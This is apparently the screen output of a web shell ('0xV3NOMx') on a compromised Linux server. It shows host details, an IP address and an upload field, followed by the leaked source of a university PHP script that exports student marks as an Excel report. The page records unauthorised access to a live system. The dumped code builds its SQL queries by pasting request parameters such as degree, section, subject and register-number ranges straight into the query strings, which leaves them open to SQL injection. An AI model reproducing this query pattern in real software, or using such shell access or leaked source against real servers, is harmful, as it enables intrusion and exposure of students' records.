0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.22.41.80


Current Path : /proc/thread-self/root/var/www/oasis/Report_details/
Upload File :
Current File : //proc/thread-self/root/var/www/oasis/Report_details/printMarkListDetailsWisenew.php

<?php
function printMarkListDetailsWisenew($aobj_context){
    ini_set('memory_limit','300M');
    ini_set('max_execution_time',3300);
    $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);  
    $FUNIVCODE = $_SESSION['FUNIVCODE'];
    $degree_ = $aobj_context->mobj_data['degree'];
    $deg = explode(' - ', $degree_);
    $degree = $deg[0];
    $dept = $deg[1];
    $sem_ = $aobj_context->mobj_data['sem'];

    $seme = explode(' - ', $sem_);
    $sem = $seme[0];
    $semester = $seme[1];
    $subject = $aobj_context->mobj_data["subject"];

    $section = $aobj_context->mobj_data["section"];
    if(strtolower($section) == 'all'){
        $cond_sec = ' '; 
        // $secList = 'All';
    }else{  
        $cond_sec = "and st.fsection='{$section}'";
        // $secList = $section;
    }
    if(strtolower($subject) == 'all'){
        $cond_sub = ' '; 
        // $secList = 'All';

    }else{  
        $cond_sub = "and sub.fsubcode='{$subject}'";
        // $secList = $section;
    }
    $fregno = $aobj_context->mobj_data["fregno"];
    $tregno = $aobj_context->mobj_data["tregno"];
    $marks_ = $aobj_context->mobj_data["marks"];
    $markSplit = explode('_', $marks_);
    $marks = $markSplit[0];
    $college = $_SESSION['collcode'];

    if($fregno == '0' && $tregno == 'z'){
        $con = "";
    }else{
        $con = "and m.fregno between '{$fregno}' and '{$tregno}'";
    }

    if($subject === "All"){
        $subcond = "";
    }else{
        $subcond = "and left(s.fcsubcode, 4) = '{$subject}'";
    }

    if($FUNIVCODE == "052"){
        $cond = "s.fsubcode";
    }else{
        $cond = "s.fsubname";
    }
    
        $query="select s.fdegree,s.fexamno,sub.fsubshort as fsubcode,sub.fsubname,m.fregno,
        group_concat(distinct s.fsubname,'=>',ifnull(fmarks,'x'),'|',ifnull(fmarks11,'x'),'|',ifnull(fmarks12,'x') order by {$cond} SEPARATOR '*') as marks
        from subdet s inner join marksint m on s.fdegree = m.fdegree
        and s.fexamno = m.fexamno 
        and concat(s.fcsubcode,s.fsubcode) = m.fsubcode
        inner join student st on m.fregno = st.fregno
        inner join subject sub on s.fdegree = sub.fdegree
        and s.fexamno = sub.fexamno and s.fcsubcode = sub.fcsubcode
        where m.fdegree ='{$degree_}' and s.fexamno = '{$sem}'
        $con $cond_sec 
        and ifnull(st.fdeleted,'') <> 'T' {$subcond}
        group by m.fdegree,sub.fsubcode,m.fregno
        order by m.fdegree,sub.fcsubcode,m.fregno";
        // var_dump($query);
        // die();
        $result = $aobj_context->mobj_db->GetAll($query); 
        
        $header = [];
        foreach($result as $val){
            $split = explode("*",$val['marks']);
            foreach($split as $v){
               $split_sub = explode("=>",$v); 
               $obj['sub'] = $split_sub[0];
               $obj['marks'] = $split_sub[1];
               array_push($header, $obj['sub']);
            }
        }

        $sub_header = array_unique($header);
    
        
        if($subject === "All"){
            $condSub = "";
            $tableHead="-1";
        }else{
            $condSub = "AND LEFT(FCSUBCODE, 4) = '{$subject}'";
            $tableHead=" ";
        }
    
        $e_data = "";
        
        
        if(!empty($result)){
            $e_data.="<div style='width:100%; height:500px;'><table cellspacing='0' cellpadding='1' border='1'>";
            $e_data.="<thead style='position:sticky; top:0;'>";
            $e_data.="<th align='center' rowspan='2'>Sl. No.</th>";
            $e_data.="<th align='center' rowspan='2'>Degree</th>";
            if($FUNIVCODE == "052"){
                $course = "Course Code";
            }else{
                $course = "Subject Code";
            }
            $e_data.="<th align='center' rowspan='2'>".$course."</th>";
            $e_data.="<th align='center' rowspan='2'>Subject Name</th>";
            $e_data.="<th align='center' rowspan='2'>USN</th>";
            if($FUNIVCODE == "052"){
                if($subject === "All"){
                    $n=count($sub_header)-1;
                $colspan = "rowspan='2'";
                }else{
                $n=count($sub_header);
                $colspan = "rowspan='2'";
                }
            
            }else{
                $n= count($sub_header);
                $colspan ="colspan = '3'";
            }
            for($i=0; $i<$n; $i++){
                $e_data.="<th align='center' {$colspan}>{$sub_header[$i]}</th>"; 
            }
            $e_data.="<th  rowspan='2' align='center'>Total</th>";
            $e_data.="</thead>";
            $e_data.="<thead>";
            $e_data.="<tr>";
            for($i=0; $i<$n; $i++){
                if($sub_header[$i] === "TASK-1" ||
                $sub_header[$i] === "TASK-2" ||
                $sub_header[$i] === "TASK-3"){  
                    $e_data.="<th align='center'>T1</th>";
                    $e_data.="<th align='center'>T2</th>";
                    $e_data.="<th align='center'>T3</th>";
                }else{
                    if($FUNIVCODE !== "052"){
                        $e_data.="<th align='center'>Unit1</th>";
                        $e_data.="<th align='center'>Unit2</th>";
                        $e_data.="<th align='center'>Total</th>";
                    }
                } 
            }
            
            $e_data.="</tr>";
            $e_data.="</thead>";

            $j=1;
            foreach($result as $val){
                $e_data.="<tr>";
                $e_data.="<td align='center' style='height:40px;'>{$j}</td>";
                $e_data.="<td align='center' style='height:40px;'>{$val['fdegree']}</td>";
                $e_data.="<td align='center' style='height:40px;'>{$val['fsubcode']}</td>";
                $e_data.="<td style='height:40px;'>{$val['fsubname']}</td>";
                $e_data.="<td align='center' style='height:40px;'>{$val['fregno']}</td>";
                // $e_data.="<td align='center'>{$val['marks']}</td>";
                $split = explode("*", $val['marks']);
                $total = 0;
                $test1 = "";
                $test2 = "";
                $makeup = "";
                $event = "";
                $test1marks = 0;
                $test2marks = 0;
                $makeupmarks = 0;
                $eventmarks = 0;
                
                foreach($split as $value){
                   
                    $split = explode("=>", $value);
                    $subname = $split[0];
                    $split_marks = explode("|", $split[1]);
                     
                    if($split_marks[1] == 'x'){
                        $mark1 = '';
                    }else{
                        if($split_marks[1] == "-2"){
                            $mark1 = "AB";
                        }else{
                            if($subname === "Test 1"){
                                $test1 = $subname;
                                $test1marks = $split_marks[1];
                            }else if($subname === "Test 2"){
                                $test2 = $subname;
                                $test2marks = $split_marks[1];
                            }else if($subname === "Makeup"){
                                $makeup = $subname;
                                $makeupmarks = $split_marks[1];
                            }if($subname === "Test 1"){
                                $test1 = $subname;
                                $test1marks = $split_marks[1];
                            }else if($subname === "Test 2"){
                                $test2 = $subname;
                                $test2marks = $split_marks[1];
                            }else if($subname === "Event"){
                                $event = $subname;
                                $eventmarks = $split_marks[1];
                            }
                            $mark1 = $split_marks[1];
                        } 
                    }

                    if($split_marks[2] == 'x'){
                        $mark2 = '';
                    }else{
                        $mark2 = $split_marks[2];
                    }

                    if($split_marks[0] == 'x'){
                        $mark0 = '';
                    }else{
                        $mark0 = $split_marks[0];
                    }


                    $e_data.="<td align='center' style='height:40px;'>{$mark1}</td>";

                    
                    if($FUNIVCODE!="052"){
                        if($mark1 > 0){
                            $total+=$mark1;
                        }
                    }else{
                        $test1 = 0;
                        $test2 = 0;

                        if($test1marks < $test2marks && $test1marks < $makeupmarks){
                            $test1 = $makeupmarks;
                            $test2 = $test2marks;
                        }else if($test2marks < $test1marks && $test2marks < $makeupmarks){
                            $test1 = $test1marks;
                            $test2 = $makeupmarks;
                        }else{
                            $test1 = $test1marks;
                            $test2 = $test2marks;
                        }

                        
                        $total = $test1 + $test2 + $eventmarks;
                    }
                    if($FUNIVCODE !== "052"){
                        $e_data.="<td align='center' style='height:40px;'>{$mark2}</td>";
                        $e_data.="<td align='center' style='height:40px;'>{$mark0}</td>";
                    }
                    
                }
                // die();
                $e_data.="<td align='center' style='height:40px;'>{$total}</td>";
                $e_data.="</tr>";
                $j++;
            }
            $e_data.="</table></div>";

            
        }
        header("Content-Type:application/xls");
        header("Content-Disposition: attachment; filename=Progress_report.xls"); 
        echo $e_data;      
}
?>